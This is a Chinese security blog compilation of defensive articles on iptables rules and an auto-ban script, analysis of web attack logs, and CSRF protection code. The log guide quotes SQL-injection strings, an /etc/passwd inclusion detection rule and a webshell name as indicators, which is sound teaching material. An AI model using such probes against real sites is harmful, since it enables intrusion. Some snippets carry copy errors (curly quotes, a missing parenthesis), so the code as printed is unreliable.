相信有了iptables的帮助,解决小的DDoS之类的攻击也不在话下!

参考:http://blog.renhao.org/2010/01/linux-ban-unban-ip/

附:其他常用的命令

编辑 iptables 文件

vi /etc/sysconfig/iptables

关闭/开启/重启防火墙

/etc/init.d/iptables stop

#start 开启

#restart 重启

验证一下是否规则都已经生效:

iptables -L

保存并重启iptables

/etc/rc.d/init.d/iptables save
service iptables restart

iptables 设置

2016年5月16日 评论已被关闭

iptables 设置
http://michaelyang1988-hotmail-com.iteye.com/blog/1685524
linux 防火墙功能强大,但对于不熟系linux系统的人来说 ,防火墙设置够喝一壶,最近在本地配置台服务器,但,局域网的其他电脑老是访问不了,首先想到的是防火墙设置,将防火墙关闭后,果然和猜想一样,但是将防火墙关闭不是长久之事 资料来源:http://blog.csdn.net/windxxf/article/details/815973

编辑 /etc/sysconfig/iptables
然后运行 /sbin/service iptables restart
防火墙规则只有在 iptables
服务运行的时候才能被激活。要手工启动服务,使用以下命令:
#/sbin/service iptables restart
要确保它在系统引导时启动,使用以下命令:
#/sbin/chkconfig –level 345 iptables on
ipchains
服务不能和 iptables
服务同时运行。要确定 ipchains
服务被禁用,执行以下命令:
#/sbin/chkconfig –level 345 ipchains off

以下是比较常见的防火墙规则:
iptables -F
#删除已经存在的规则
iptables -P INPUT DROP
#配置默认的拒绝规则。基本规则是:先拒绝所有的服务,然后根据需要再添加新的规则。
iptables -A INPUT -p tcp –dport 80 -j ACCEPT
#打开WEB服务端口的tcp协议
iptables -A INPUT -p tcp –dport 110 -j ACCEPT
#打开POP3服务端口的tcp协议
iptables -A INPUT -p tcp –dport 25 -j ACCEPT
#打开SMTP服务端口的tcp协议
iptables -A INPUT -p tcp –dport 21 -j ACCEPT
#打开FTP服务端口的tcp协议
iptables -A INPUT -p tcp -s 202.106.12.130 –dport 22 -j ACCEPT
#允许IP地址为202.106.12.130这台主机连接本地的SSH服务端口
iptables -A INPUT -p tcp –dport 53 -j ACCEPT
#允许DNS服务端口的tcp数据包流入
iptables -A INPUT -p udp –dport 53 -j ACCEPT
#允许DNS服务端口的udp数据包流入
iptables -A INPUT -p icmp -icmp-type echo-request -i eth1 -j DROP
#防止死亡之ping,从接口eth1进入的icmp协议的请求全部丢弃。
iptables -A FORWARD -p tcp –syn -m limit –limit 1/s -j ACCEPT
#防止SYN Flood (拒绝服务攻击)
根据服务器情况,你也可以自行添加规则。

iptables -I RH-Firewall-1-INPUT 20 -p TCP -s 211.161.250.232/32 -m state –state NEW –dport 3306 -j ACCEPT
iptables -I RH-Firewall-1-INPUT 20 -p TCP -s 211.161.192.0/24 -m state –state NEW –dport 3306 -j ACCEPT

修改/etc/sysconfig/iptables 文件,添加以下内容:
-A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 80 -j ACCEPT
chkconfig iptables on
service iptables restart

Linux下利用iptables防止Nmap扫描你的服务器
#iptables -A INPUT -p tcp –tcp-flags ALL FIN,URG,PSH -j DROP
#iptables -A INPUT -p tcp –tcp-flags SYN,RST SYN,RST -j DROP
#iptables -A INPUT -p tcp –tcp-flags SYN,FIN SYN,FIN -j DROP

添加IP 黑名单
iptables -I INPUT -s XXX.XXX.XXX.XXX -j DROP
删除IP 黑名单
iptables -D INPUT -s XXX.XXX.XXX.XXX -j DROP

分类: Web安全防护 标签:

iptables自动屏蔽恶意高流量ip

2016年5月16日 评论已被关闭

iptables自动屏蔽恶意高流量ip

http://www.myhack58.com/Article/48/66/2014/53646.htm

问题描述:

最近公司的nginx代理服务器,半夜都流量很高,可能是恶意用户开挂刷新网站页面。

如前段时间新闻上所说的黄牛党开挂刷新火车票网站一样,刷得网站几乎近似瘫了。因为我们公司网站是彩票开奖系统,也怕这样子恶意被刷,亟待解决。

 

解决办法:

这台服务器就是个nginx代理服务器,因此可以借助nginx的日志查看

cat /opt/webapps/log_nginx/518.access.log|awk -F’?’ ‘{print $1}’|awk ‘{print $1}’|sort -r| uniq -c |sort -nr |more

撸一下,发现很多ip访问此次搞得离谱了点

因为日志带时间的,设置好时间变量,换个更准的脚来撸撸

cat /opt/webapps/log_nginx/518.access.log|awk “/$tian\/$yue\/$nian/ {print \$1,\$6,\$7}”|awk -F’?’ ‘{print $1}’|sort -r| uniq -c |sort -nr |awk ‘$1>3000{print $2}’ >/opt/webapps/log_nginx/ip.”$DATE”

于是呼我就把今天凌晨0点到现在的访问次数超过3000次且做相同件事,(我把访问提一个页面判定成同件事)全虑出来丢到ip.”DATE”文件了,接下来就是再iptables添加DROP,让他继续嚣张……

 

终极!!!(上脚本)

#!/bin/bash
tian=`date |awk ‘{print $3}’`
yue=`date |awk ‘{print $2}’`
nian=`date |awk ‘{print $6}’`
YEAR=`date +%Y`
MONTH=`date +%m`
DAY=`date +%d`
HOUR=`date +%H`
#MIN=`date +%M`
DATE=$YEAR-$MONTH-$DAY-$HOUR
cat /opt/webapps/log_nginx/518.access.log|awk “/$tian\/$yue\/$nian/ {print \$1,\$6,\$7}”|awk -F’?’ ‘{print $1}’|sort -r| uniq -c |sort -nr |awk ‘$1>3000{print $2}’ >/opt/webapps/log_nginx/ip.”$DATE”
awk ‘{system(“iptables -D INPUT -s “$0” -j DROP;iptables -I INPUT -s “$0” -j DROP “)}’ /opt/webapps/log_nginx/ip.”$DATE”
service iptables save
service iptables reload
#Now, start a truncated 518.access.log, to prepare for the next operation
cp /opt/webapps/log_nginx/518.access.log /opt/webapps/log_nginx/518.access.log_”$DATE”
echo “Let us go===========================================”>/opt/webapps/log_nginx/518.access.log

最后两句是我在截断日志哦,不是百年之后,我的awk就跑不动了,log太大会叫的……

 

高大上的可以直接添加到计划任务里,不过可以有的ip并不恶意,人工稍瞥一眼更好

 

理想的结果还没考虑,

因为iptables规则太多会哭的,我想把每天规则注释上时间,以后每次执行脚了就把多少天前的解封了,免得百年之后全天下都进入我的黑名单了(如果our china人口不那么多)

web攻击日志分析之新手指南

2016年5月16日 评论已被关闭

web攻击日志分析之新手指南

http://drops.wooyun.org/运维安全/5411

from:http://resources.infosecinstitute.com/log-analysis-web-attacks-beginners-guide/

0x00 前言


现实中可能会经常出现web日志当中出现一些被攻击的迹象,比如针对你的一个站点的URL进行SQL注入测试等等,这时候需要你从日志当中分析到底是个什么情况,如果非常严重的话,可能需要调查取证谁来做的这个事情,攻击流程是什么样子的。

除此之外,还有其他场景。

作为一名管理员,理解如何从安全的角度来分析日志真的很重要。

这篇文章内容包括了日志分析的一些基础知识,可以解决上述需求。

0x01 准备


出于演示目的,我进行以下设置。

Apache 服务器

预安装在Kali Linux

可以用以下命令开启:

service apache2 start

enter image description here

MySQL

预安装在Kali Linux

可以用以下命令开启:

service mysql start

enter image description here

使用PHP-MySQL创建一个有漏洞的web应用

我使用PHP开发了一个有漏洞的web应用并且把它放在上面提到的 Apache-MySQL里面。

上述设置完成后,我用了一些Kali Linux中的自动工具(ZAP、w3af)扫描这个有漏洞的应用的URL。

现在让我们来看看分析日志中的不同情况。

0x02 Apache服务中的日志记录


Debian系统上Apache服务器日志的默认位置为:/var/log/apache2/access.log

日志记录只是在服务器上存储日志。我还需要分析日志以得出正确结果。在接下来的一节里,我们将看到我们如何分析Apache服务器的访问日志以找出web站点上是否有攻击尝试。

分析日志

手动检查

在日志量较小的情况下,或者如果我们查找一个指定关键词,可以使用像grep表达式这样的工具观察日志。

在下图中,我们在URL中试图搜寻所有关键词为“union”的请求。

enter image description here

从上图中,我们可以看到URL中的“union select 1,2,3,4,5”请求。很明显,ip地址为 192.168.56.105的某人尝试了SQL注入。 类似地,当我们有自己的关键词时可以搜索特殊的关键词。

enter image description here

在下图中,我们正在搜索试图读取“/etc/passwd”的请求,很明显是本地文件包含尝试。

如上面的截图所示,我们有许多本地文件包含的尝试,且这些请求发送自ip地址 127.0.0.1。

很多时候,能轻易通过日志看出是否是自动化扫描器产生的。

举例来说, IBM appscan在许多攻击payload中使用“appscan”这个词。所以,在日志中查看这样的请求,我们基本就可以判断有人在使用appscan扫描网站。

Microsoft Excel也是一个打开日志文件和分析日志的不错的工具。我们可以通过指定“空格”为分隔符以用excel打开日志文件。

当我们手头没有日志分析工具时,这个也挺好用的。

除了这些关键词,在分析期间要了解HTTP状态代码的基础知识。以下是关于HTTP状态代码的高级信息的表格。

enter image description here

0x03 Web shells


webshell是网站/服务器的另一个问题。webshell可以已web server权限控制服务器。

在一些情况下,我们可以使用webshell来访问所有放在相同服务器上的其他站点。

以下截图显示了Microsoft Excel 中开启相同的access.log文件。

enter image description here

我们清楚地看到有一个叫“b374k.php”的文件被访问了。“b374k”是一个流行的webshell,因此这个文件是很可疑的。

查看相应代码“200”,本行表明有人上传了一个webshell并访问了它。

在许多情况下,攻击者重命名webshell的名字以避免怀疑。我们必须变得聪明点,看看被访问的文件是否是常规文件或者是否他们看起来不太一样。我们可以更进一步,如果任何文件看起来可疑的话,还可以查看文件类型和时间戳。

One single quote for the win

SQL注入是web应用中最常见的漏洞之一。大多数学习web应用安全的人是从学习SQL注入开始的。

识别一个传统的SQL注入很容易,给URL参数添加一个单引号看看是否报错。

任何我们传递给服务器的东西都会被记录,并且可以朔源。

以下截图显示了日志当中记录了有对参数user传入单引号测试是否有SQL注入的行为。

%27是单引号的URL编码。

enter image description here

出于管理目的,我们还可以运行查询监视来查看数据库中的哪个请求被执行了。

enter image description here

如果我们观察以上图片,传递一个单引号给参数“user”的SQL语句被执行了。

0x04 使用自动化工具分析


当存在大量日志时。手动检查就会变得困难。在这种情景下,除了一些手动检查之外我们可以使用自动化工具。

虽然有许多高效的商业工具,但是我要向你们介绍一款被称为“Scalp”的免费工具。

据他们的官方链接所说,Scalp是用于Apache服务器,旨在查找安全问题的日志分析器。主要理念是浏览大量日志文件并通过从HTTP/GET中提取可能的攻击。

Scalp可以从以下链接下载:

https://code.google.com/p/apache-scalp/

Scalp是python脚本,所以要求我们的机器中安装python。

以下图片显示该工具的帮助。

enter image description here

如我们在上图所见,我们需要使用标志-l来提供要分析的日志文件。

同时,我们需要提供使用标志-f提供一个过滤文件让Scalp在access.log文件中识别可能的攻击。

我们可以使用PHPIDS项目中的过滤器来检测任何恶意的尝试。

该文件名为“default_filter.xml ”,可以从以下链接中下载:

https://github.com/PHPIDS/PHPIDS/blob/master/lib/IDS/default_filter.xml

以下代码块是取自上面链接的一部分。

1
2
3
4
5
6
7
8
9
10
11
<filter>
      <id>12</id>
      <rule><![CDATA[(?:etc\/\W*passwd)]]></rule>
      <description>Detects etc/passwd inclusion attempts</description>
      <tags>
          <tag>dt</tag>
          <tag>id</tag>
          <tag>lfi</tag>
      </tags>
      <impact>5</impact>
</filter>

它是使用XML标签定义的规则集来检测不同的攻击测试。以上代码片段是检测文件包含攻击尝试的一个示例。

下载此文件之后,把它放入Scalp的同一文件夹下。

运行以下命令来使用Scalp分析日志。

1
python scalp-0.4.py –l /var/log/apache2/access.log –f filter.xml –o output –html

enter image description here

“output”是报告保存的目录。如果不存在的话,由Scalp自动创建。-html是用来生成HTML格式的报告。 如我们在上图看到的那样,Scalp结果表明它分析了4001行,超过4024并发现了296个攻击模式。

运行上述命令后在输出目录内生成报告。我们可以在浏览器内打开它并查看结果。 下面截图显示的输出显示了目录遍历攻击尝试的一小部分。

enter image description here

MySQL中的日志记录


本节论述了数据库中的攻击分析和监视它们的方法。

第一步是查看设置了什么变量。我们可以使用“show variables;”完成,如下所示。

enter image description here

接下来显示了上述命令的输出。

enter image description here

如我们在上图中看到的,日志记录已开启。该值默认为OFF。

这里另一个重要的记录是 “log_output”,这是说我们正在把结果写入到文件中。另外,我们也可以用表。

我们可以看见“log_slow_queries”为ON。默认值为OFF。

所有这些选项都有详细解释且可以在下面提供的MySQL文档链接里直接阅读:

http://dev.mysql.com/doc/refman/5.0/en/server-logs.html

MySQL的查询监控


请求日志记录从客户端处收到并执行的语句。默认记录是不开启的,因为比较损耗性能。

我们可以从MySQL终端中开启它们或者可以编辑MySQL配置文件,如下图所示。

我正在使用VIM编辑器打开位于/etc/mysql目录内的“my.cnf”文件。

enter image description here

如果我们向下滚动,可以看见日志正被写入一个称为“mysql.log”的文件内。

enter image description here

我们还能看到记录“log_slow_queries” ,是记录SQL语句执行花了很长时间的日志。

enter image description here

现在一切就绪。如果有人用恶意查询数据库,我们可以在这些日志中观察到。如下所示:

enter image description here

上图显示了查询命中了名为“webservice”的数据库并试图使用SQL注入绕过认证。

0x05 更多日志记录


默认地,Apache只记录GET请求,要记录POST数据的话,我们可以使用一个称为“mod_dumpio”的Apache模块。要了解更多关于实现部分的信息,请参考以下链接:

http://httpd.apache.org/docs/2.2/mod/mod_dumpio.html

另外,我们可以使用“ mod security”达到相同结果。

Reference http://httpd.apache.org/docs/2.2/logs.html

分类: Web安全防护 标签:

请不要使用非法的URL地址访问

2016年5月13日 评论已被关闭

请不要使用非法的URL地址访问

http://bbs.51credit.com/thread-1874807-1-1.html

请不要使用非法的URL地址访问
最可能的原因是:
您正在试图非法攻击。
您访问的URL地址不被允许。

 

:硬件防火墙阻止了WEB访问。

分类: Web安全防护 标签:

跨站请求伪造CSRF防护方法

2015年9月10日 评论已被关闭

跨站请求伪造CSRF防护方法

http://netsecurity.51cto.com/art/201308/407554.htm

CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

一、CSRF攻击原理

CSRF攻击原理比较简单,如图1所示。其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

wKioOVIRjQvjAVsIAABvQu7p_VI704

图1 CSRF攻击原理

1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

二、CSRF漏洞防御

CSRF漏洞防御主要可以从三个层面进行,即服务端的防御、用户端的防御和安全设备的防御。

1、 服务端的防御

.1.1 验证HTTP Referer字段

根据HTTP协议,在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站。比如某银行的转账是通过用户访问http://bank.test/test?page=10&userID=101&money=10000页面完成,用户必须先登录bank.test,然后通过点击页面上的按钮来触发转账事件。当用户提交请求时,该转账请求的Referer值就会是转账按钮所在页面的URL(本例中,通常是以bank. test域名开头的地址)。而如果攻击者要对银行网站实施CSRF攻击,他只能在自己的网站构造请求,当用户通过攻击者的网站发送请求到银行时,该请求的Referer是指向攻击者的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank. test开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。

1.2 在请求地址中添加token并验证

CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。鉴于此,系统开发者可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。

1.3 在HTTP头中自定义属性并验证

自定义属性的方法也是使用token并进行验证,和前一种方法不同的是,这里并不是把token以参数的形式置于HTTP请求之中,而是把它放到HTTP头中自定义的属性里。通过XMLHttpRequest这个类,可以一次性给所有该类请求加上csrftoken这个HTTP头属性,并把token值放入其中。这样解决了前一种方法在请求中加入token的不便,同时,通过这个类请求的地址不会被记录到浏览器的地址栏,也不用担心token会通过Referer泄露到其他网站。

2、 其他防御方法

1. CSRF攻击是有条件的,当用户访问恶意链接时,认证的cookie仍然有效,所以当用户关闭页面时要及时清除认证cookie,对支持TAB模式(新标签打开网页)的浏览器尤为重要。

2. 尽量少用或不要用request()类变量,获取参数指定request.form()还是request. querystring (),这样有利于阻止CSRF漏洞攻击,此方法只不能完全防御CSRF攻击,只是一定程度上增加了攻击的难度。

代码示例:

Java 代码示例

下文将以 Java 为例,对上述三种方法分别用代码进行示例。无论使用何种方法,在服务器端的拦截器必不可少,它将负责检查到来的请求是否符合要求,然后视结果而决定是否继续请求或者丢弃。在 Java 中,拦截器是由 Filter 来实现的。我们可以编写一个 Filter,并在 web.xml 中对其进行配置,使其对于访问所有需要 CSRF 保护的资源的请求进行拦截。

在 filter 中对请求的 Referer 验证代码如下

清单 1. 在 Filter 中验证 Referer

 // 从 HTTP 头中取得 Referer 值
 String referer=request.getHeader("Referer");
 // 判断 Referer 是否以 bank.example 开头
 if((referer!=null) &&(referer.trim().startsWith(“bank.example”))){
    chain.doFilter(request, response);
 }else{
request.getRequestDispatcher(“error.jsp”).forward(request,response);
 }

以上代码先取得 Referer 值,然后进行判断,当其非空并以 bank.example 开头时,则继续请求,否则的话可能是 CSRF 攻击,转到 error.jsp 页面。

如果要进一步验证请求中的 token 值,代码如下

清单 2. 在 filter 中验证请求中的 token

HttpServletRequest req = (HttpServletRequest)request;
 HttpSession s = req.getSession();
 // 从 session 中得到 csrftoken 属性
 String sToken = (String)s.getAttribute(“csrftoken”);
 if(sToken == null){
    // 产生新的 token 放入 session 中
    sToken = generateToken();
    s.setAttribute(“csrftoken”,sToken);
    chain.doFilter(request, response);
 } else{
    // 从 HTTP 头中取得 csrftoken
    String xhrToken = req.getHeader(“csrftoken”);
    // 从请求参数中取得 csrftoken
    String pToken = req.getParameter(“csrftoken”);
    if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){
        chain.doFilter(request, response);
    }else if(sToken != null && pToken != null && sToken.equals(pToken)){
        chain.doFilter(request, response);
    }else{
request.getRequestDispatcher(“error.jsp”).forward(request,response);
    }
 }

首先判断 session 中有没有 csrftoken,如果没有,则认为是第一次访问,session 是新建立的,这时生成一个新的 token,放于 session 之中,并继续执行请求。如果 session 中已经有 csrftoken,则说明用户已经与服务器之间建立了一个活跃的 session,这时要看这个请求中有没有同时附带这个 token,由于请求可能来自于常规的访问或是 XMLHttpRequest 异步访问,我们分别尝试从请求中获取 csrftoken 参数以及从 HTTP 头中获取 csrftoken 自定义属性并与 session 中的值进行比较,只要有一个地方带有有效 token,就判定请求合法,可以继续执行,否则就转到错误页面。生成 token 有很多种方法,任何的随机算法都可以使用,Java 的 UUID 类也是一个不错的选择。

除了在服务器端利用 filter 来验证 token 的值以外,我们还需要在客户端给每个请求附加上这个 token,这是利用 js 来给 html 中的链接和表单请求地址附加 csrftoken 代码,其中已定义 token 为全局变量,其值可以从 session 中得到。

清单 3. 在客户端对于请求附加 token

function appendToken(){
    updateForms();
    updateTags();
 }

 function updateForms() {
    // 得到页面中所有的 form 元素
    var forms = document.getElementsByTagName('form');
    for(i=0; i<forms.length; i++) {
        var url = forms[i].action;
        // 如果这个 form 的 action 值为空,则不附加 csrftoken
        if(url == null || url == "" ) continue;
        // 动态生成 input 元素,加入到 form 之后
        var e = document.createElement("input");
        e.name = "csrftoken";
        e.value = token;
        e.type="hidden";
        forms[i].appendChild(e);
    }
 }
 function updateTags() {
    var all = document.getElementsByTagName('a');
    var len = all.length;
    // 遍历所有 a 元素
    for(var i=0; i<len; i++) {
        var e = all[i];
        updateTag(e, 'href', token);
    }
 }
 function updateTag(element, attr, token) {
    var location = element.getAttribute(attr);
    if(location != null && location != '' '' ) {
        var fragmentIndex = location.indexOf('#');
        var fragment = null;
        if(fragmentIndex != -1){
            //url 中含有只相当页的锚标记
            fragment = location.substring(fragmentIndex);
            location = location.substring(0,fragmentIndex);
        }               

        var index = location.indexOf('?');
        if(index != -1) {
            //url 中已含有其他参数
            location = location + '&csrftoken=' + token;
        } else {
            //url 中没有其他参数
            location = location + '?csrftoken=' + token;
        }
        if(fragment != null){
            location += fragment;
        }
element.setAttribute(attr, location);
    }
 }

在客户端 html 中,主要是有两个地方需要加上 token,一个是表单 form,另一个就是链接 a。这段代码首先遍历所有的 form,在 form 最后添加一隐藏字段,把 csrftoken 放入其中。然后,代码遍历所有的链接标记 a,在其 href 属性中加入 csrftoken 参数。注意对于 a.href 来说,可能该属性已经有参数,或者有锚标记。因此需要分情况讨论,以不同的格式把 csrftoken 加入其中。

如果你的网站使用 XMLHttpRequest,那么还需要在 HTTP 头中自定义 csrftoken 属性,利用 dojo.xhr 给 XMLHttpRequest 加上自定义属性代码如下:

清单 4. 在 HTTP 头中自定义属性

var plainXhr = dojo.xhr;// 重写 dojo.xhr 方法
 dojo.xhr = function(method,args,hasBody) {
    // 确保 header 对象存在
    args.headers = args.header || {};
    tokenValue = '<%=request.getSession(false).getAttribute("csrftoken")%>';
    var token = dojo.getObject("tokenValue");
    // 把 csrftoken 属性放到头中
    args.headers["csrftoken"] = (token) ? token : "  ";
    return plainXhr(method,args,hasBody);
 };

这里改写了 dojo.xhr 的方法,首先确保 dojo.xhr 中存在 HTTP 头,然后在 args.headers 中添加 csrftoken 字段,并把 token 值从 session 里拿出放入字段中。

PHP代码示例:

请看下面一个简单的应用,它允许用户购买钢笔或铅笔。界面上包含下面的表单:

<form action="buy.php" method="POST">
  <p>
  Item:
  <select name="item">
    <option name="pen">pen</option>
    <option name="pencil">pencil</option>
  </select><br />
  Quantity: <input type="text" name="quantity" /><br />
  <input type="submit" value="Buy" />
  </p></form>

下面的buy.php程序处理表单的提交信息:

<?php
  session_start();
  $clean = array();
  if (isset($_REQUEST['item'] && isset($_REQUEST['quantity']))
  {
    /* Filter Input ($_REQUEST['item'], $_REQUEST['quantity']) */
    if (buy_item($clean['item'], $clean['quantity']))
    {
      echo '<p>Thanks for your purchase.</p>';
    }
    else
    {
      echo '<p>There was a problem with your order.</p>';
    }
  }?>

攻击者会首先使用这个表单来观察它的动作。例如,在购买了一支铅笔后,攻击者知道了在购买成功后会出现感谢信息。注意到这一点后,攻击者会尝试通过访问下面的URL以用GET方式提交数据是否能达到同样的目的:

http://store.example.org/buy.php?item=pen&quantity=1

如果能成功的话,攻击者现在就取得了当合法用户访问时,可以引发购买的URL格式。在这种情况下,进行跨站请求伪造攻击非常容易,因为攻击者只要引发受害者访问该URL即可。

请看下面对前例应用更改后的代码:

php
  session_start();
  $token = md5(uniqid(rand(), TRUE));
  $_SESSION['token'] = $token;
  $_SESSION['token_time'] = time();?>

表单:

<form action="buy.php" method="POST">
  <input type="hidden" name="token" value="<?php echo $token; ?>" />
  <p>
  Item:
  <select name="item">
    <option name="pen">pen</option>
    <option name="pencil">pencil</option>
  </select><br />
  Quantity: <input type="text" name="quantity" /><br />
  <input type="submit" value="Buy" />
  </p></form>

通过这些简单的修改,一个跨站请求伪造攻击就必须包括一个合法的验证码以完全模仿表单提交。由于验证码的保存在用户的session中的,攻击者必须对每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何攻击,它要求攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一个用户的请求是无效的。

该验证码可以简单地通过一个条件表达式来进行检查:

<?php
  if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
  {
    /* Valid Token */
  }?>

你还能对验证码加上一个有效时间限制,如5分钟:

<?php
  $token_age = time() - $_SESSION['token_time'];
  if ($token_age <= 300)
  {
    /* Less than five minutes has passed. */
  }?>

通过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造攻击的风险。可以在任何需要执行操作的任何表单中使用这个流程。

分类: Web安全防护 标签: